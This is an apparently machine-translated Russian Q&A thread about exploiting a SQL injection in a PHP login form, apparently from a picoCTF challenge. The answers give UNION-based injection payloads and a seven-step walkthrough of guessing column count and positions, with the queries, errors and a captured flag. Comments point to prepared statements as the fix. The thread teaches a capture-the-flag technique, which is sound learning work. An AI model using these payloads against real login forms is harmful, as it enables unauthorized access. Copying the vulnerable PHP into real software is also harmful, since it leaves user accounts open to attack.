2014-11-02 2 views
-1

Я новичок в SQL-инъекциях и пытаюсь научиться писать запрос в поле ввода, которое будет возвращает строку. После веб-сайт имеет вход поданную Username: и Password: Этот сайт имеет следующий PHP код:mysql injection получить один ряд

<?php 
include "config.php"; 
$con = mysqli_connect("localhost", "sql2", "sql2", "sql2"); 
$username = $_POST["username"]; 
$password = $_POST["password"]; 
$debug = $_POST["debug"]; 
$query = "SELECT * FROM users WHERE username='$username'"; 
$result = mysqli_query($con, $query); 
echo "MYSQL Injection Tutorial:<br><br>"; 

if (intval($debug)) { 
    echo "<pre>"; 
    echo "username: ", htmlspecialchars($username), "\n"; 
    echo "password: ", htmlspecialchars($password), "\n"; 
    echo "SQL query: ", htmlspecialchars($query), "\n"; 
    if (mysqli_errno($con) !== 0) { 
    echo "SQL error: ", htmlspecialchars(mysqli_error($con)), "\n"; 
    } 
    echo "</pre>"; 
} 

$logged_in = false; 
if (mysqli_num_rows($result) === 1) { 
    $row = mysqli_fetch_array($result); 
    if ($row["password"] === $password) { 
    $logged_in = true; 
    echo "<h1>Logged in!</h1>"; 
    echo "<pre>User level: ", $row["user_level"], "</pre>"; 
    if ($row["user_level"] >= 50) { 
     echo "<p>you have found a high level user</p>"; 
    } else { 
     echo "<p>you didn't find a user that has a high level.</p>"; 
    } 
    } 
} 

if (!$logged_in) { 
    echo "<h1>Login failed. Try Again</h1>"; 
} 
?> 

Если у вас есть какие-либо идеи, пожалуйста, покажите мне пример

+1

Попробуйте использовать Bind-параметров.: http://php.net/manual/en/mysqli-stmt.bind-param.php (Это помогает против инъекций, потому что процесс происходит на сервере mysql, а не клиент (php))> Примечание. Вы задаете вопрос как не по теме. –

+0

Вы только «новичок в [SQL-инъекциях] (http://bobby-tables.com/)», потому что вы не использовали правильные средства для их устранения. Современная [структура разработки] (http://codegeekz.com/best-php-frameworks-for-developers/), подобная [Laravel] (http://laravel.com/), имеет способы взаимодействия с базой данных, которые в значительной степени избегают эта проблема, если вы будете следовать надлежащим процедурам. То, что у вас здесь, - это крушение поезда, HTML, SQL и PHP, все разбитые вместе. – tadman

+0

Этот вопрос не соответствует теме, поскольку речь идет о безопасности программного обеспечения. Вы можете получить помощь по [Security.SE] (http://security.stackexchange.com). – esqew

ответ

3

Учитывая конструкцию SQL, используемый в коде, то есть:

SELECT * FROM users WHERE username='$username' 

Это действительно кажется, есть SQL Injection уязвимости. Чтобы успешно использовать это, нам, вероятно, придется забить несколько попыток на странице.

Поскольку мы не можем изменить постоянную часть этой строки, мы бы целью получения текста SQL, чтобы быть что-то вроде этого:

SELECT * 
    FROM users 
WHERE username = '' AND 1=0 
UNION ALL 
SELECT '','','','secret' AS password, '51' AS user_level, '' 

Очевидно, что мы должны были бы успешно угадать число столбцов в пользователях, и угадывать позиции столбцов «» и «user_level». Мы могли бы попробовать ввести пароль и в несколько пунктов ...

На форме ввода текста для пользователя, мы бы ввести что-то вроде:

' AND 1=0 UNION ALL SELECT 'secret','secret','secret','secret','51','51','51',51 

Для пароль, мы бы ввести: secret

Мы могли забить на него с различным числом столбцов и разные позиции для пароля и user_level.

С достаточным количеством попыток мы можем получить строку, возвращаемую запросом. Если бы мы знали о количестве столбцов и позиции столбцов с паролем и user_level, мы бы опередили игру.

Если мы сможем включить эту отладку и получить веб-сайт для отображения ошибки SQL, это также облегчит нам задачу. Как только мы нажмем форму, которая не возвращает ошибку SQL, мы знаем, что количество столбцов угадано правильно. Нам не нужно правильно угадывать имена столбцов, так как запрос UNION/UNION ALL получает имена столбцов из первого запроса.


Обратите внимание, что наши попытки были бы полностью сорваны, если приложение использовало подготовленный оператор с переменной привязки. (Мы должны были бы использовать уязвимость в подготовленном заявлении/связывания заполнителем для того, чтобы наши данные вводили в текст SQL.)


Followup

Если поиграться с почтовыми значениями перед их отправкой мы можем установить это «скрытое» значение отладки до 1.

Мы начнем с предположения, что в таблице users имеется как минимум три столбца.

попытка (попробуйте три колонки):

username: ' OR 1=0 UNION ALL SELECT 'a','a','a 
password: a 
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','a','a' 
SQL error: The used SELECT statements have a different number of columns 
Login failed. 

страница Войти просачивается информация. Теперь мы знаем запрос, что страница работает, и мы знаем, что таблица users не имеет трех столбцов.

попытка , (попробуйте четыре колонки):

username: ' OR 1=0 UNION ALL SELECT 'b','b','b','b 
password: b 
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'b','b','b','b' 
SQL error: The used SELECT statements have a different number of columns 

Таким образом, это не четыре колонны либо. Попробуем пять столбцов.

попытка , (попробуйте пять столбцов):

username: ' OR 1=0 UNION ALL SELECT 'c','c','c','c','c 
password: cb 
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'c','c','c','c','c' 
Logged in! 
User level: c 
Only user levels 1337 or above can see the flag. 

Итак, мы знаем, знаем, что таблица пользователей имеет пять колонок. Теперь нам просто нужно выяснить, какой из этих столбцов является столбцом пароля.

попытка (пароль в пятом столбце):

username: ' OR 1=0 UNION ALL SELECT 'a','b','c','d','e 
password: e 
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','b','c','d','e' 
Login failed. 

Таким образом, пароль не пятая колонна.Давайте попробуем четвертый столбец:

попытка (пароль в четвертой колонке):

username: ' OR 1=0 UNION ALL SELECT 'a','b','c','d','e 
password: d 
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','b','c','d','e' 
Login failed. 

Итак, мы знаем, пароль не четвертый столбец. Попробуем третий столбец.

попытка (пароль в третьем столбце):

username: ' OR 1=0 UNION ALL SELECT 'a','b','c','d','e 
password: c 
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','b','c','d','e' 
Logged in! 
User level: e 
Only user levels 1337 or above can see the flag. 

Итак, мы определили, что пароль является третий столбец в таблице пользователей. Страница утешает нам больше информации. Похоже, что пятый столбец - это уровень пользователя (результат, который мы получили назад, говорит нам, что уровень пользователя - это значение, которое мы поставили для пятого столбца. Итак, давайте попробуем указать значение 1337 как значение пятой колонки.

попытка (пароль в третьей колонке, пятая колонна, как уровень пользователя = 1337):

username: ' OR 1=0 UNION ALL SELECT 'a','b','c','d','1337 
password: c 
SQL query: SELECT * FROM users WHERE username='' OR 1=0 UNION ALL SELECT 'a','b','c','d','1337' 
Logged in! 
User level: 1337 
Your flag is: flag_nJZAKGWYt7YfzmTsCV 

Итак, мы показали, подвигом SQL Injection уязвимости, всего семь попыток

+0

Я работал над этой же проблемой несколько дней назад. Задайте вопрос, чтобы войти на этот сайт: http://web2014.picoctf.com/injection2/ Однако, с предоставленным вами карьером, я не мог войти на сайт. Примечание: в нижней части этой страницы он дает фактический код php: 'login.php исходный код' –

+0

@Justink: я редактировал вопрос, чтобы включить демонстрацию использования уязвимости SQL Injection. Я смог получить «** Записан! ** и« ** Ваш флаг: ** »возвращается в 7 попытках. (Я только заметил, что использовал« OR 1 = 0 »в моих попытках, я должен был следовать шаблон в моем первоначальном ответе, 'AND 1 = 0', чтобы гарантировать, что я не верну строку от пользователей. Случилось так, что в пользователях нет строки с именем' username = '' ', поэтому это не имело значения. – spencer7593

+0

@ spencer7593 Спасибо, что показали мне такое количество деталей и объясняли мне все. Теперь я понимаю это, и все ясно. Большое спасибо. –

1

Есть некоторые вопросы, которые преодолевают здесь. Во-первых, mysqli_query не позволит вам выполнять более одного заявления за раз, поэтому вы ограничены тем, что вы можете сделать с исходным запросом. Во-вторых, код вручную проверяет введенный пароль на строку, возвращаемую MySQL, поэтому вам нужно будет вставить поддельные данные в возвращаемый результат.

Следующие действия будут работать, но потребуется знание структуры стола.

Я предполагаю, что таблица имеет только три колонки, и они определяются в следующем порядке: username, password, user_level

Используйте это в качестве имени пользователя:

' AND 1 = 2 UNION SELECT username, 'password' AS password, user_level FROM users WHERE user_level > '50

И "пароль" как пароль.

Это делает первоначальный поиск SELECT тем, что он никогда не найдет (AND 1 = 2). Мы могли бы просто оставить эту часть, но может быть пользователь с пустым именем пользователя, что может испортить ситуацию.

Далее мы создаем наш собственный запрос, вводя жесткий код в строку и находим пользователя с желаемым уровнем. Затем мы объединяем это с (в настоящее время пустым) набором результатов. Здесь требуется знание структуры базы данных, потому что для UNION требуется одинаковое количество столбцов для каждого SELECT (даже если первый пуст). Там может быть лучший способ обойти это, но я не 1337 h4x0r, поэтому я не знаю!

+0

+1. Ницца. Нам не обязательно знать имя или структуру таблицы. Нам нужно только угадать количество столбцов, возвращаемых запросом, и положение столбцов пароля и user_level. (Мы можем сделать «UNION ALL SELECT» с набором литералов. В MySQL нам не нужно предложение FROM, и нам не нужно знать имена каких-либо столбцов.) – spencer7593

+0

Да. Идея 'FROM' заключается в том, что возвращается реальный пользователь (минус введенный пароль). Далее по его коду вы видите, что он выводит user_level, поэтому я предположил, что это то, что он хотел. Я вижу, как это может быть не так, если он может войти в систему. – rjdown

Смежные вопросы